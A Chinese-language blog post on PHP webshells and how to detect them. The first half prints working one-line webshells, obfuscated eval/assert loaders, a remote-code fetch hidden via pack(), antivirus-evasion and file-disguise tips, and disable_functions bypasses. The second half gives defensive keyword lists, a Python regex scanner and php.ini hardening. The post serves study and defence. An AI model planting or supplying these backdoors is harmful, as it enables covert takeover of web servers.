PHP安全之webshell和后门检测一、各种webshell一句话木马,其形式如下所示:?phpif(isset($_REQUEST[cmd])){????$cmd = ($_REQUEST[cmd]);????system($cmd);????echo?/pre$cmdpre;????die;}?这...
PHP安全之webshell和后门检测
一、各种webshell
一句话木马,其形式如下所示:
<?php
if
(isset($_REQUEST[
'cmd'
])){
????
$cmd = ($_REQUEST[
"cmd"
]);
????
system($cmd);
????
echo
?"</pre>$cmd<pre>"
;
????
die;
}
?>
这种容易被安全软件检测出来。为了增强隐蔽性,出现了各种一句话木马的变形,通过各种函数来伪装,这里不得不吐槽PHP弱类型对于安全来说是致命的
a、使用str_replace函数
<?php $a =str_replace(x,
""
,
"axsxxsxexrxxt"
);$a($_POST[
"code"
]); ?>
?
//
说明:请求参数? ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(
"PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="
))
最终执行命令<?php assert(fputs(fopen(
'c.php'
,w),
"<?php @eval($_POST[a]);?>"
))?>
b、使用str_rot13函数
<?php ($code = $_POST[
'code'
]) && @preg_replace(
'/ad/e'
,
'@'
.str_rot13(
'riny'
).
'($code)'
,?
'add'
); ?>
//
说明:首先,将
eval
函数用str_rot13(
'riny'
)隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用
eval
方式进行评估并将返回值作为最终参与替换的字符串。
c、使用include函数
<?php $filename=$_GET[
'code'
];include ($filename); ?>
?
//
由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。
d、使用pack函数
<?php?
if
(empty($_SESSION[
'api'
]))
????
$_SESSION[
'api'
]=substr(file_get_contents(sprintf(
'%s?? %s'
,pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
????
@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION[
'api'
]),null);
?>
e、使用session
<?php
session_start();
$_POST[
'code'
] && $_SESSION[
'theCode'
] = trim($_POST[
'code'
]);
$_SESSION[
'theCode'
]&&preg_replace(
'\'a\'eis'
,
'e'
.
'v'
.
'a'
.
'l'
.
'(base64_decode($_SESSION[\'theCode\']))'
,
'a'
);
f、隐藏在html页面
<!DOCTYPE HTML PUBLIC?
"-//IETF//DTD HTML 2.0//EN"
>
<html><
head
>
<title>404 Not Found<
/title
>
<
/head
><body>
<h1>Not Found<
/h1
>
<p>The requested URL was not found on this server.<
/p
>
<
/body
><
/html
>
<?php
@preg_replace(
"/[pageerror]/e"
,$_POST[
'error'
],
"saft"
);
header(
'HTTP/1.1 404 Not Found'
);
?>
g、使用assert函数
<?php assert($_POST[sb]);?>或者
<?php
$item[
'wind'
] =?
'assert'
;
$array[] = $item;
$array[0][
'wind'
]($_POST[
'iixosmse'
]);
h、使用copy函数复制文件
<?php
$reg=
"c"
.
"o"
.
"p"
.
"y"
;
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
二、代码混淆
<?php?
@$_++;?
//
?$_ = 1?
$__=(
"#"
^
"|"
);?
//
?$__ = _?
$__.=(
"."
^
"~"
);?
//
?_P?
$__.=(
"/"
^
"`"
);?
//
?_PO?
$__.=(
"|"
^
"/"
);?
//
?_POS?
$__.=(
"{"
^
"/"
);?
//
?_POST?
${$__}[!$_](${$__}[$_]);?
//
?$_POST[0]($_POST[1]);?
?>
或者
<?php?
????
$penh=
"sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30="
;?
????
$kthe=
"JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn"
;?
????
$ftdf = str_replace(
"w"
,
""
,
"stwrw_wrwepwlwawcwe"
);?
????
$wmmi=
"X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk"
;?
????
$zrmt=
"JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"
;?
????
$smgv = $ftdf(
"f"
,?
""
,?
"bfafsfef6f4_fdfefcodfe"
);?
????
$jgfi = $ftdf(
"l"
,
""
,
"lclrlelaltel_functlilon"
);?
????
$rdwm = $jgfi(
''
, $smgv($ftdf(
"gi"
,?
""
, $zrmt.$kthe.$wmmi.$penh))); $rdwm();?
?>
可以使用weevely工具来生成,代码伪装避开各种主流的杀毒软件
PHP后门生成工具weevely
weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。
weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。
更常用的混淆视听的方法:(这种是服务器层面的混淆)
-
修改文件时间
-
改名融入上传后所在文件夹,让人无法直观看出文件异常
-
文件大小的伪装处理(至少看起大小像个正常脚本)
-
选好藏身路径并尽量少的访问
-
畸形目录%20
三、如果绕过配置文件
一般的服务器管理员会把 system、exec等危险函数禁用的,那么如何绕过呢?
1、使用反射
相关内容可参考:http://cn2.php.net/manual/en/reflectionfunction.invokeargs.php。
<?php $func = new ReflectionFunction("system"); echo $func->invokeArgs(array("$_GET[c]")); ?>
2、使用callback
php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.具体说明可参考:http://www.php.net/manual/en/function.ob-start.php
<?php
$cb=?
'system'
;
ob_start($cb);
echo
?$_GET[c];
ob_end_flush();
?>
php中支持callback的函数还有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等
四、安全人员应该怎么做
1、如何查找
直观寻找方式也有很多
-
通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)
-
通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )
-
通过access.log访问日志分析
下面是360 zhujiweishi ,在linux服务器上非常简单好用
通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件)
-
系统命令执行: system, passthru, shell_exec, exec, popen, proc_open
-
代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
-
文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
通过简单的python脚本
#!/usr/bin/env python
# encoding: utf-8
?
?
import
?os,sys
import
?re
import
?hashlib
import
?time
?
?
rulelist?
=
?[
????
'(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))'
,
????
'((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))'
,
????
'(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})'
,
????
'(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))'
,
????
'((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))'
,
????
'(\$(\w+)\s*\(\s.chr\(\d+\)\))'
,
????
'(\$(\w+)\s*\$\{(.*)\})'
,
????
'(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))'
,
????
'(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))'
,
????
'(\$\_\=(.*)\$\_)'
,
????
'(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))'
,
????
'(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))'
,
????
'(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))'
,
????
'((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))'
,
????
'(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))'
,
????
'(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))'
,
????
'((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))'
,
????
'(eval\s*\(\s*\(\s*\$\$(\w+))'
,
????
'((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))'
,
????
'(preg\_replace\s*\((.*)\(base64\_decode\(\$)'
????
]
?
?
def
?scan(path):
????
print
(
'?????????? 可疑文件???????? '
)
????
print
(
'*'
*
30
)
????
for
?root,dirs,files?
in
?os.walk(path):
????????
for
?filespath?
in
?files:
????????????
if
?os.path.getsize(os.path.join(root,filespath))<
1024000
:
????????????????
file
=
?open
(os.path.join(root,filespath))
????????????????
filestr?
=
?file
.read()
????????????????
file
.close()
????????????????
for
?rule?
in
?rulelist:
????????????????????
result?
=
?re.
compile
(rule).findall(filestr)
????????????????????
if
?result:
????????????????????????
print
?'文件:'
+
os.path.join(root,filespath )
????????????????????????
print
?'恶意代码:'
+
str
(result[
0
][
0
:
200
])
????????????????????????
print
?(
'最后修改时间:'
+
time.strftime(
'%Y-%m-%d %H:%M:%S'
,time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
????????????????????????
print
?'\n\n'
????????????????????????
break
def
?md5sum(md5_file):
????
m?
=
?hashlib.md5()
????
fp?
=
?open
(md5_file)
????
m.update(fp.read())
????
return
?m.hexdigest()
????
fp.close()
?
?
if
?md5sum(
'/etc/issue'
)?
=
=
?'3e3c7c4194b12af573ab11c16990c477'
:
????
if
?md5sum(
'/usr/sbin/sshd'
)?
=
=
?'abf7a90c36705ef679298a44af80b10b'
:
????????
pass
????
else
:
????????
print
(
'*'
*
40
)
????????
print
?"\033[31m sshd被修改,疑似留有后门\033[m"
????????
print
(
'*'
*
40
)
????????
time.sleep(
5
)
if
?md5sum(
'/etc/issue'
)?
=
=
?'6c9222ee501323045d85545853ebea55'
:
????
if
?md5sum(
'/usr/sbin/sshd'
)?
=
=
?'4bbf2b12d6b7f234fa01b23dc9822838'
:
????????
pass
????
else
:
????????
print
(
'*'
*
40
)
????????
print
?"\033[31m sshd被修改,疑似留有后门\033[m"
????????
print
(
'*'
*
40
)
????????
time.sleep(
5
)
if
?__name__
=
=
'__main__'
:
?
?
????
if
?len
(sys.argv)!
=
2
:
????????
print
?'参数错误'
????????
print
?"\t按恶意代码查找:"
+
sys.argv[
0
]
+
'目录名'
????
if
?os.path.lexists(sys.argv[
1
])?
=
=
?False
:
????????
print
?"目录不存在"
????????
exit()
????
print
?(
'\n\n开始查找:'
+
sys.argv[
1
])
????
if
?len
(sys.argv)?
=
=
2
:
????????
scan(sys.argv[
1
])
????
else
:
????????
exit()
2、如何防范
php.ini 设置
-
disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir
-
设置“safe_mode”为“on”
-
禁止“open_basedir” 可以禁止指定目录之外的文件操作
-
expose_php设为off 这样php不会在http文件头中泄露信息
-
设置“allow_url_fopen”为“off” 可禁止远程文件功能
-
log_errors”设为“on” 错误日志开启
php编码方面
-
所有用户提交的信息 post get 或是其他形式提交的数据 都要单独写个过滤函数处理一遍,养成习惯(intval,strip_tags,mysql_real_escape_string)
-
经常检查有没有一句话木马 eval($_POST[ 全站搜索php代码有没有这样的源代码
-
文件要命名规范 至少让自己可以一目了然,哪些php文件名字有问题
-
如用开源代码,有补丁出来的话,尽快打上补丁
-
如果攻击者拿到了服务器的最高权限,有可能通过修改服务器的配置文件php.ini来达到他们隐藏后门的目的,前几年比较流行。原理如下:php.ini 里面的这两个配置项:auto_prepend_file ,auto_append_file 可以让php解析前,自己加点东西进去 Automatically add files before or after any PHP document,如果被配置了eval()函数的后门 那就很阴险了,php文件代码里面查不出,只会在php解析前包含eval()函数进来 并且因为是全局的 所以所有php页面都是后门!所以要先确认auto_prepend_file ,auto_append_file没被配置成其他东西,才进行第3点的源代码检查。
服务器配置
配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限
nginx或者apache配置的时候,不能访问的目录一定要配置为deny
文章出处;https://www.cnblogs.com/chenpingzhao/p/6562415.html
参考文章
https://github.com/chenpingzhao/php-webshells
http://blog.csdn.net/miltonzhong/article/details/9714367
http://blog.jobbole.com/53821/
posted @ 2019-05-06 22:01 卿先生 阅读(...) 评论(...) 编辑 收藏本文标题为:PHP安全之webshell和后门检测
基础教程推荐
- laravel ORM关联关系中的 with和whereHas用法 2023-03-02
- PHP获取MySQL执行sql语句的查询时间方法 2022-11-09
- thinkphp3.2.3框架动态切换多数据库的方法分析 2023-03-19
- PHP中的错误及其处理机制 2023-06-04
- PHP实现Redis单据锁以及防止并发重复写入 2022-10-12
- PHP命名空间简单用法示例 2022-12-01
- laravel 解决多库下的DB::transaction()事务失效问题 2023-03-08
- 使用PHP开发留言板功能 2023-03-13
- 在Laravel中实现使用AJAX动态刷新部分页面 2023-03-02
- php array分组,PHP中array数组的分组排序 2022-08-01